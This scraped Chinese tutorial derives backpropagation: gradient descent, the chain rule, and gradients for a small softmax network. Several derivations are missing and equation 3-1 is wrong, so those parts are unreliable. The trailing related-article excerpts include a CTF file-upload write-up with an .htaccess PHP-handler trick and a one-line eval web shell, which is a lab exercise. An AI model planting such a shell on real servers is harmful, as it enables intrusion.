Tutorial: Mathmatical Derivation of Backpropagation

目录

1. 概要

2. Gradient Descent

3. Chain rule 

3.1 单变量基本链式法则

3.2 单变量全微分链式法则

3.3 小贴士:微分、导数、导函数是什么关系?

4. What and why backpropagation?

5. Backpropagation for a simple neural network

5.1 基于链式法则的表达

5.2 输出层的梯度计算

5.3 隐藏层的梯度计算        

5.3.1 f1对w1, b1的梯度

5.3.2 L对f1的梯度

5.3.3 L对w1, b1的梯度

6. Batch Processing

6.1 batch数据集的表示

6.2 forward processing

6.3 backward propagation 

附录: Backpropagation History[3]


1. 概要

        反向传播是神经网络中常用的一种训练算法,其基本思想是通过计算损失函数对每个权重的梯度,然后使用梯度下降法来优化神经网络的权重。

        在神经网络发展的早期,当只有一层网络的时候,梯度下降算法的实现是显而易见的。单层的神经网络(线性回归啊,logistic回归其实都可以看成是单层的神经网络)能做的事情有限。在设计更多层数的神经网络的时候,所遇到的一个根本的难题就是如何(有效地)计算最终的损失函数对除了输出层以外的各层(即隐藏层)的权重参数的梯度。在上世纪八十年代深度学习的先驱们成功地应用反向传播算法解决了这个问题后,深度学习才开始迎来了黄金时代。

        本文简单介绍反向传播的技术要点并基于一个简单的三层分类神经网络(输入层、隐藏层、输出层,如下图所示)例子给出具体的数学推导和python实现。

 

 图1 三层分类神经网络(取自[1])

2. Gradient Descent

        梯度下降是一种常用的优化算法,用于最小化函数的值。该算法的基本思想是沿着函数在当前点的梯度方向(即函数值变化最快的方向)的相反方向下降,直到到达函数的局部最小值或全局最小值。

        梯度下降算法适用于求解具有可导性的函数的最小值,如线性回归、逻辑回归等。它的步骤简单、易于实现,而且可以应用于大量数据的优化问题。

        基本的梯度下降算法(vanilla gradient descent)如下所示:

        假设有一个函数 $f(x)$,我们想要找到一个使得 $f(x)$ 最小的 x 值即argmin_x{f(x)}。梯度下降算法会根据函数的梯度方向来不断更新 x 的值,直到找到最小值。具体步骤如下:

        1. 初始化 x 的值;
        2. 计算函数 $f(x)$ 的梯度 $\frac{\partial f(x)}{\partial x}$
        3. 沿着梯度方向更新 x 的值,即 $x_{new} = x_{old} - \alpha \frac{\partial f(x)}{\partial x}$,其中 \alpha 称为学习率,控制更新步长的大小;
        4. 检查更新后的 x 值是否满足停止条件,若满足则算法结束,否则回到步骤 2。

        通常情况下,梯度下降算法可以分为批量梯度下降(Batch Gradient Descent)、随机梯度下降(Stochastic Gradient Descent)和小批量梯度下降(Mini-Batch Gradient Descent)三种。这些不同的算法采用的更新方式和具体实现方法略有不同,但都遵循了以上基本的梯度下降步骤。

         在深度学习中,各路神仙又在基本的梯度下降算法的基础上(vanilla gradient descent)折腾出各种改进变种,比如说,ADAM,ADAGRAD, 等等。万变不离其宗,其中的根本点都是梯度计算以及验梯度反方向进行参数调节。在各种机器学习和深度学习的框架工具中都有这些各种优化算法的实现,因此通常并不需要自己动手去实现梯度下降算法,但是DIY一次对于透彻地理解算法的精髓的确是必需的,正所谓:纸上得来终觉浅绝知此事须躬行。

        以上基本算法的描述中考虑的是单变量函数的优化,多变量(多元)函数的优化的道理是相同的。

3. Chain rule 

        复合函数求导需要用到链式法则,链式法则是backpropagation的核心之一。

        以下简单介绍backpropagation所需要的链式法则,包括基本链式法则和最关键的全微分链式法则,详细可以参考[2]。

3.1 单变量基本链式法则

        考虑复合函数:y = f(g(x)),求y'=\frac{dy}{dx}

        令(取中间变量)u = g(x), 这样以上复合函数可以重写成:y=f(u), u=g(x)

        这种基本情况下的链式法则为:

                        y = \frac{dy}{du} \frac{du}{dx} \\ y = y_u' u_x' \\ y = f'(g'(x)))               (3-1)

        以上三种写法等价,但是第一种最为明确,不容易出错。

        更深(层级更多的)复合函数的链式法则应用是以上基本情况的自然扩展。比如说,考虑复合函数y=f_1(f_2(f_3(f_4(x)))),y对于x的微分如下所示:

                        \frac{dy}{dx} = \frac{dy}{df_1}\frac{df_1}{df_2}\frac{df_2}{df_3}\frac{df_3}{df_4}\frac{df_4}{dx}        (3-2)

        

3.2 单变量全微分链式法则

        在以上基本情况中,构成复合函数的两层函数都是单变量函数,即y是以u为自变量的单变量函数,u是以x为自变量的单变量函数。其中u是唯一的中间变量。

        如果中间变量不是1个,而是有多个呢,比如说:

                ​​​y = f(u_1(x),u_2(x),...,u_k(x))                           (3-3)

        这种情况下,如何计算y针对于x(考虑x为自变量的话,y是关于x的单变量函数!这里所说的单变量正式指最底层的自变量的个数)的微分呢?这个涉及到多变量微积分中的全微分,故有些作者称为全微分链式法则[2]。

        首先,函数y的全微分可以表示如下:

                dy = \frac{\partial{y}}{\partial{u_1}}du_1 + \frac{\partial{y}}{\partial{u_2}}du_2 + ... = \sum\limits_{k=1}^n \frac{\partial{y}}{\partial{u_k}} du_k      (3-4)

                \frac{dy}{dx} = \frac{\partial{y}}{\partial{u_1}}\frac{\partial{u_1}}{\partial{x}} + \frac{\partial{y}}{\partial{u_2}}\frac{\partial{u_2}}{\partial{x}} + ... = \sum\limits_{k=1}^n \frac{\partial{y}}{\partial{u_k}}\frac{\partial{u_k}}{\partial{x}}        (3-5)

3.3 小贴士:微分、导数、导函数是什么关系?

        微分和导数是紧密相关的概念,但并不完全相同。

        微分是一种数学运算,它表示函数在某一点处的变化率。具体来说,微分就是指在极限意义下函数值的改变量与自变量值的改变量的比值,即函数在某一点的切线斜率。

        而导数是指函数在某一点处的微分值。通过求导可以得到函数在每个点处的导数值,从而得到函数的整体变化趋势和局部特性,如最大值、最小值、拐点等。

        因此,微分和导数是密切相关的,但微分是一个概念,而导数是一个具体的数值。

        微分和导函数比较接近。两者都是指对函数进行微分运算,不过它们所表示的概念略有不同。微分通常指对函数在某一点上的斜率进行精确计算。在数学上,微分的定义是取极限,并且步骤包括计算函数自变量的微小增量,然后将其带入函数中,计算函数的增量,最后求得极限。微分能够精确地计算函数在某一点的切线斜率,因此在求解极值、曲线的弧长、面积等问题时非常重要。导函数则是指函数在每一点上的导数,即函数的变化率。导函数可以理解为对函数的微分结果,用来表示函数在某一点上的变化率。导函数可以用于判断函数的单调性、拐点、极值等性质。因此,微分和导函数虽然在计算过程和概念上略有不同,但它们都是对函数进行微分运算的概念。

        不过,实际工程应用中,一般来说三者就当一回事处理了吧。。。

4. What and why backpropagation?

图2 gradient descent alogorithm concept diagram 

         图1所示的三层神经网络(关于神经网络的层数,不同的作者可能有不同的看法。有些人把输入层计入层数,有些则不计入。上文中当我们说单层神经网络时其实就不把输入层当作一层计数。这里说三层就是把输入层计入了。有点乱,不过无所谓了。。。你懂就行)的基于梯度下降进行训练优化的计算框图如上图所示。其中S()表示softmax函数。

        要进行上图所示的基于梯度下降算法的训练优化,一方面是要计算出损失函数针对每一层的每一个权重参数的梯度‘另一方面就是基于梯度下降算法进行参数微分。很简单。。。嗯,是的,说起来很简单。

        理论上来说,基于上一节所介绍的链式法则,在网络结果(相应的,与之对应的计算图:ocomputation graph)确定后可以直接写出损失函数针对每一个权重参数的梯度(偏微分)表达式,然后针对此进行编程实现即可!但是且慢,现代神经网络几十层、上百层的深度,想象一下按照链式法则把梯度表达式写出来看看,尤其是对于靠前面的网络层级(即离损失函数计算最远的那些地方)。。。简而言之,理论上可以计算并不等于具有实现可行性,要具有实现可行性必需能够在保证性能不会受损失的前提条件下简易高效地实现。

        这就到了反向传播算法登场亮相的时刻了。只有在反向传播算法解决了高效地实现梯度计算的问题,才使得深度神经网络的实现称为可能(当然还得结合其它很多关键技术)。

        

        反向传播算法的精髓在于,它不是一次性地针对所有各层权重参数计算损失函数关于它们的梯度,而是从输出层以倒序的方式逐层计算。假定输出层为第N层,

        首先,计算损失函数针对第N层的权重参数和输入的梯度;

        然后,基于损失函数针对第N层的输入的梯度,计算损失函数针对第N-1层的权重参数和输入的梯度;

        然后,基于损失函数针对第N-1层的输入的梯度,计算损失函数针对第N-2层的权重参数和输入的梯度;

        然后,依此类推,直到计算完第一个隐藏层(输入层之后的第一个有效层)的权重参数的梯度(此时不再需要计算针对第一个隐藏层的输入的梯度)。

        以上除了第N层的梯度计算以外,其它各层的梯度计算都涉及到链式法则。

        所以,反向传播算法可以看作是链式法则的一种应用,关键在于提升计算效率使其具有实现可行性。由于是从最后一层反向地向前一层一层地计算,将中间梯度计算结果逐层地反向向前面的层传播,故得名反向传播。Backpropagation involves the calculation of the gradient proceeding backwards through thefeedforward network from the last layer through to the first. To calculate the gradient at aparticular layer, the gradients of all following layers are combined via the chain rule of calculus。

        反向传播的一个显而易见的好处,它省掉了许多的重复运算。这个在下一章的例子中能更清晰地看出来。

        

        下一章我们将以图2所示简单的三层网络的例子来看看反向传播算法具体是怎么一回事。

5. Backpropagation for a simple neural network

5.1 基于链式法则的表达

        首先,把图2所示神经网络的前向计算用以下一组数学公式表达出来:

        ​​​​​​​        f_1 = w_1 x + b_1 \\ g_1 = \sigma(f_1) \\ f_2 = w_2 g_1 + b_2 \\ \hat{y} = \text{softmax}(f_2) \\ L = - \sum\limits_{i=1}^K y_i log{\hat{y_i}}                (5-1)

        梯度下降算法需要先求出L针对w1,b1,w2,b2的梯度(这里用偏微分表示梯度),其计算公式如下所示:

        上半截是L针对输出层的权重参数w2,b2及其输入g1 的梯度计算。

        下半截是L关于隐藏层的权重参数w1,b1的梯度计算。由于只有两个实质的层,这就是全部了。

        L针对g1的梯度在计算w2和b2的梯度时并不需要,但是在计算前一层的w1和b1的梯度(注意,这里为了简介,说“w1的梯度”实际上意思是L针对w1的梯度,余者类推)需要用到L关于g1的梯度。

        梯度的(反向)传播就是通过损失函数针对各层的数据输入(或者说上一层的数据输出)的梯度来进行传播的。比如说以上的\frac{\partial{L}}{\partial{g_1}}\frac{\partial{L}}{\partial{\hat{y}}}。这样的话,在计算L对w1和b1的梯度时就不必从根子上(比如说\frac{\partial{L}}{\partial{\hat{y}}}\frac{\partial{\hat{y}}}{\partial{f_2}}\frac{\partial{f_2}}{\partial{g_1}}\frac{\partial{g_1}}{\partial{f_1}}\frac{\partial{f_1}}{\partial{g_1}})开始计算。通过这种逐层传递,将长长的梯度计算链条分割成一段段来进行处理,也相当于一种分而治之的策略吧。

        本例只有两层的梯度计算,所以看起来逐层传递的价值和必要性并不是那么大(毕竟蛮力计算也是可以的),想象一下几十上百层的网络时就能体会到这种逐层反向传播的优势(甚至说绝对必要性)所在了。

        接下来完成这个简单的神经网络的具体梯度计算,并给出这个基于反向传播的梯度计算的python实现。

        根据[4]Softmax, Cross-entropy Loss and Gradient derivation and Implementation中的推导我们已经知道(注意,在[4]用l表示logits,对应于本文中所述的S()的输入f_2。注意:f_2是个向量),在采用softmax activation以及cross-entropy loss的前提条件下有:

                \nabla_{f_2}{L} = [\frac{\partial{L}}{\partial{f_{2,1}}},\frac{\partial{L}}{\partial{f_{2,2}}},...,\frac{\partial{L}}{\partial{f_{2,K}}}] \\ \nabla_{f_2}{L} =[\bold{y} - \bold{\hat{y}}]^T         (5-2)

5.2 输出层的梯度计算

        基于(5-1)和(5-2)接下来求L对w2的梯度表达式。向量/矩阵微积分虽然最后结果写出来非常简洁,但是实际上并不是像单变量微积分那样直观。保险的做法是分解为各分量,通过链式法则计算,然后再拼成向量(或矩阵)表达形式。除非你对向量(矩阵)微积分的运算跟对四则运算那样捻熟于心。具体推导过程如下所示(以下如果没有特别提起,缺省的都是矩阵乘法):

        注意,\partial_{i,j}w_{2,(j,i)}的下标关系成转置关系是因为numerator layout的缘故(关于numerator layout vs denominator layout,参见[2])。 

(5-3)

        同样,可以得到:

        ​​​​​​​        \nabla_{b_2}{L} = (\bold{y} - \bold{\hat{y}})^T                        (5-4)

        为了隐藏层的梯度计算,这里还要计算出L对于输出层的输入g_1的梯度。同样可以得到:

        ​​​​​​​        \frac{\partial{L}}{\partial{g_1}} = [\bold{y}-\bold{\hat{y}}]^T w_2                (5-5)

        详细推导过程如下所示:

5.3 隐藏层的梯度计算        

        接下来,要基于\frac{\partial{L}}{\partial{g_1}}计算L对隐藏层的权重参数w1和b1的梯度。

        由前文知道,

        ​​​​​​​        \frac{\partial{L}}{\partial{w_1}} = \frac{\partial{L}}{\partial{f_1}} \frac{\partial{f_1}}{\partial{w_1}} \\ \frac{\partial{L}}{\partial{b_1}} = \frac{\partial{L}}{\partial{f_1}} \frac{\partial{f_1}}{\partial{b_1}}                (5-6)

        如前所述,涉及向量和矩阵的微分再加上链式法则并不是非常直观,除非非常熟悉,否则很难直接以向量和矩阵为单位应用链式法则进行演算。但是从L到(w1,b1)的距离很长(想一想,其实才两层网络而已!),像上一节一样分解为标量形式进行处理,然后再组合会向量/矩阵形式已经非常难以处理了。

        以下采用分而治之的方式来推导看看。首先考虑f_1w_1b_1的梯度。

5.3.1 f1对w1, b1的梯度

 

(5-7) 

        注意,由于f_1是个向量(1阶张量),而 w_1是个矩阵(2阶张量),所以f_1w_1的梯度是一个shape=[M,N,M]的3阶张量!在纸面上很难写出3阶张量,所以以上只给出了f_1的某个分量对w_1的梯度。

        接下来我们计算L对f_1的梯度。

5.3.2 L对f1的梯度

(5-8)  

5.3.3 L对w1, b1的梯度

        有了(5-7),(5-8)是不是直接就可以代入(5-6)求得L对w1, b1的梯度呢?理论上是可以的。首先检查各张量的shape看看是不是符合张量乘法的要求。很容易确认确实是满足要求的。一个非常重要的小技巧是在这种涉及到向量、矩阵、张量的复杂运算中,只要shape匹配,几乎就可以恭喜你大概率是对了(想起一个鸡汤故事,说的是一个老师给一个小孩一张撕烂了的地图,让他重新拼起来。小孩很快就拼完了,大出老师意外。问题原因,说地图的反面是一个人像,按照人像去拼很快就能拼出来了。寓意是人对了世界就对了。套用这句话过来就是,shape匹配了,张量运算就对了)。

        如果是进行程序实现,事实上就可以到此为止了。剩下的事情交给计算机去处理就好了。

        但是,且慢,\frac{\partial{f_1}}{\partial{w_1}}是的3阶张量,而\frac{\partial{L}}{\partial{f_1}}是一个1阶张量,它们乘完后到底会得到什么样的东西(目前只知道会得到一个2阶张量。tips: 一阶张量与其它张量相乘有降后者的阶数降一阶的reduce功效),还能简化吗(好奇心是进步之源)?答案是确实可以。换一种策略进行推导,如下所示:

(5-9) 

        果然可以!就说漂不漂亮!

        当然,L对b1的梯度就很简单了。。。由于b没有与x相乘),所以在每一层中b的梯度都是对应的w的梯度计算式去掉该层的输入数据向量就可以了!

        \frac{\partial{L}}{\partial{b_1}} = \frac{\partial{L}}{\partial{f_1}} \frac{\partial{f_1}}{\partial{b_1}} =\frac{\partial{L}}{\partial{f_1}} \bold{I} = \frac{\partial{L}}{\partial{f_1}}                                        (5-10)

6. Batch Processing

        第5章的推导是针对一个数据样本x(被视为一个列向量)的,但是在实际机器学习或者深度学习中通常数据是以batch的方式进行处理。所以,为了能够平滑地过度到实际的实现中去,需要将以上推导进行进一步扩展,使得高效得batch processing得以变得可能。

6.1 batch数据集的表示

6.2 forward processing

6.3 backward propagation 

        欲知后事如何且听下回分解!

附录: Backpropagation History[3]

In 1847, the French mathematician Baron Augustin-Louis Cauchy developed a method of gradient descent for solving simultaneous equations. He was interested in solving astronomic calculations in many variables, and had the idea of taking the derivative of a function and taking small steps to minimize an error term.

Over the following century, gradient descent methods were used across disciplines to solve difficult problems numerically, where an exact algebraic solution would have been impossible or computationally intractable.

In 1970, the Finnish master's student Seppo Linnainmaa described an efficient algorithm for error backpropagation in sparsely connected networks in his master's thesis at the University of Helsinki, although he did not refer to neural networks specifically.

In 1986, the American psychologist David Rumelhart and his colleagues published an influential paper applying Linnainmaa's backpropagation algorithm to multi-layer neural networks. The following years saw several breakthroughs building on the new algorithm, such as Yann LeCun's 1989 paper applying backpropagation in convolutional neural networks for handwritten digit recognition.

In the 1980s, various researchers independently derived backpropagation through time, in order to enable training of recurrent neural networks.

In recent years deep neural networks have become ubiquitous and backpropagation is very important for efficient training. Although the algorithm has been modified to be parallelized and run easily on multiple GPUs, Linnainmaa and Rumelhart's original backpropagation algorithm forms the backbone of all deep learning-based AI today.

Reference: 

[1] Paolo Perrotta, Programming Machine Learn: From coding to deep-learning 

[2] arVix:1802.0152, The Matrix Calculus You Need For Deep Learning, Terence Parr and Jeremy Howard 

[3] https://deepai.org/machine-learning-glossary-and-terms/backpropagation

[4]  Softmax, Cross-entropy Loss and Gradient derivation and Implementation

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/65988.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

哪些存储设备的数据需要注意,防止误删除或者格式化丢失?

以下是一些存储设备的数据要注意,防止误删除或者格式化丢失: 1.硬盘:存储重要数据时要备份,避免硬盘故障、误格式化等情况导致数据丢失。 2.USB闪存驱动器:在拔出USB闪存驱动器前,应该先进行“安全删除”…

Jmeter(三十一):制造大批量的用户数据数据

需求:因测试需要,要造100w用户数据,通过用户名、手机号、密码可新增用户,其中用户名和电话号码要求100w用户不能重复 要点: 1、通过Bean shell Sampler实现用户名和手机号的足够随机。 符合我们常用规则的手机号&#…

element侧边栏子路由点击不高亮问题

最近自己封装侧边栏 又碰到了点击子路由不高亮的问题 <template><div class"aside"><el-scrollbar :vertical"true" class"scrollbar_left_nav"><el-menu :default-active"defaultActive" :collapse"$stor…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

遗传算法决策变量降维的matlab实现

1.案例背景 1.1遗传算法概述 遗传算法是模拟达尔文生物进化论的自然选择和遗传学机理的生物进化过程的计算模型,是一种通过模拟自然进化过程搜索最优解的方法。它最初由美国Michigan大学的J. Holland教授提出,1967年, Holland 教授的学生 Bagley在其博士论文中首次提出了“遗传…

利用frps搭建本地自签名https服务的透传

nginx的搭建就不介绍了&#xff0c;教程很多&#xff0c;基本上油手就会。 在本例中&#xff0c;frp服务器的域名是 www.yourfrp.com&#xff0c;同时也是反向代理nginx服务器; 本地网站要用的域名&#xff1a; test.abcd.com 请事先将 test.abcd.com 解析到 frp所在服务器…

CC1310开发工具下载及环境搭建

目录 CC1310开发工具集 CC1310SDK下载安装注意事项 CCS下载安装注意事项 导入示例代码 CCS常用设置 CC1310是TI的一款sub1G射频模块&#xff0c;具体参数见数据手册吧&#xff08;CC1310数据手册、用户手册下载&#xff1a;https://dev.ti.com/tirex/explore/node?nodeA_…

pdf转换成图片转换器在线怎么转?pdf转换成图片具体方法介绍

很多用户们都是比较喜欢使用pdf文档的&#xff0c;由于这种文件格式的便携性非常高&#xff0c;所以广泛的应用于工作和学习领域&#xff0c;再加上pdf文档可以随意转换成为其他的文件格式&#xff0c;更是让pdf文档受到了更多用户们的欢迎&#xff0c;那么pdf转换成图片转换器…

C++设计模式_02_面向对象设计原则

文章目录 1. 面向对象设计&#xff0c;为什么&#xff1f;2. 重新认识面向对象3. 面向对象设计原则3.1 依赖倒置原则(DIP)3.2 开放封闭原则(OCP )3.3 单一职责原则( SRP )3.4 Liskov 替换原则 ( LSP )3.5 接口隔离原则 ( ISP )3.6 优先使用对象组合&#xff0c;而不是类继承3.7…

光伏瓦屋顶

光伏瓦是由非晶硅材料制成的有光伏电池的屋面板&#xff0c;把光伏组件嵌入支撑结构&#xff0c;使太阳能板和建筑材料结为一体&#xff0c;直接应用于屋顶&#xff0c;和普通屋面瓦一样安装在屋面结构上。然后&#xff0c;光伏材料和组件将光转化为电能&#xff0c;通过吸收太…

操作系统备考学习 day2 (1.3.2 - 1.6)

操作系统备考学习 day2 计算机系统概述操作系统运行环境中断和异常的概念系统调用 操作系统体系结构操作系统引导虚拟机 计算机系统概述 操作系统运行环境 中断和异常的概念 中断的作用 CPU上会运行两种程序&#xff0c;一种是操作系统内核程序&#xff0c;一种是应用程序。…

【原创】H3C三层交换机VLAN路由

网络拓扑图 VLAN 配置 VLAN 100 VLAN 200 [H3C]int vlan 100 ip address 1.1.1.1 255.255.255.0[H3C-Vlan-interface100]int vlan 200 ip address 2.2.2.1 255.255.255.0[H3C]int GigabitEthernet 1/0/1port access vlan 100[H3C]int GigabitEthernet 1/0/2port access vlan 2…

SpringCloudAlibaba常用组件

SpringCloudAlibaba常用组件 微服务概念 1.1 单体、分布式、集群 单体 ⼀个系统业务量很⼩的时候所有的代码都放在⼀个项⽬中就好了&#xff0c;然后这个项⽬部署在⼀台服务器上就 好了。整个项⽬所有的服务都由这台服务器提供。这就是单机结构。 单体应⽤开发简单,部署测试…

数学建模--主成分分析法(PCA)的Python实现(

目录 1.算法核心思想&#xff1a; 2.算法核心代码&#xff1a; 3.算法分类效果&#xff1a; 1.算法核心思想&#xff1a; 1.设置降维后主成分的数目为2 2.进行数据降维 3.设置main_factors1个划分类型 4.根据组分中的值进行分类 5.绘制出对应的图像 2.算法核心代码&#xff1a…

时序预测 | MATLAB实现基于PSO-LSTM、LSTM时间序列预测对比

时序预测 | MATLAB实现基于PSO-LSTM、LSTM时间序列预测对比 目录 时序预测 | MATLAB实现基于PSO-LSTM、LSTM时间序列预测对比效果一览基本描述程序设计参考资料 效果一览 基本描述 MATLAB实现基于PSO-LSTM、LSTM时间序列预测。 1.Matlab实现PSO-LSTM和LSTM神经网络时间序列预测…

C++:日期类

学习目标&#xff1a; 加深对四个默认构造函数的理解&#xff1a; 1.构造函数 2.析构函数 3.拷贝构造 4.运算符重载 实现功能 1.比较日期的大小 2.日期-天数 3.前/后置&#xff0c;-- 这里基本会使用运算符重载 定义一个日期类 class Date { public://1.全缺省参数的构造函数Da…

「MySQL-02」数据库的操纵、备份、还原和编码规则

目录 一、库操作 1. 创建数据库 2. 查看所有数据库 3. 删除数据库 4. 修改数据库 5. 进入一个数据库 二、查看和设置数据库的编码规则 1. MySQL的两个编码规则&#xff1a;字符集和校验规则 2. 查看MySQL当前使用的字符集以及校验规则 3. 查看MySQL支持的所有字符集 4. 查看MyS…

three.js(二):webpack + three.js + ts

用webpackts 开发 three.js 项目 webpack 依旧是主流的模块打包工具;ts和three.js 是绝配&#xff0c;three.js本身就是用ts写的&#xff0c;ts可以为three 项目提前做好规则约束&#xff0c;使项目的开发更加顺畅。 1.创建一个目录&#xff0c;初始化 npm mkdir demo cd de…

centos安装nginx实操记录(加安全配置)

1.下载与安装 yum -y install nginx2.启动命令 /usr/sbin/nginx -c /etc/nginx/nginx.conf3.新建配置文件 cd /etc/nginx/conf.d vim index.conf配了一个负责均衡&#xff0c;如不需要&#xff0c;可将 server localhost: 多余的去掉 upstream web_server{server localhost…

MySQL以及版本介绍

一、MySQL的介绍 MySQL数据库管理系统由瑞典的DataKonsultAB公司研发&#xff0c;该公司被Sun公司收购&#xff0c;现在Sun公司又被Oracle公司收购&#xff0c;因此MySQL目前属于 Oracle 旗下产品。 MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用…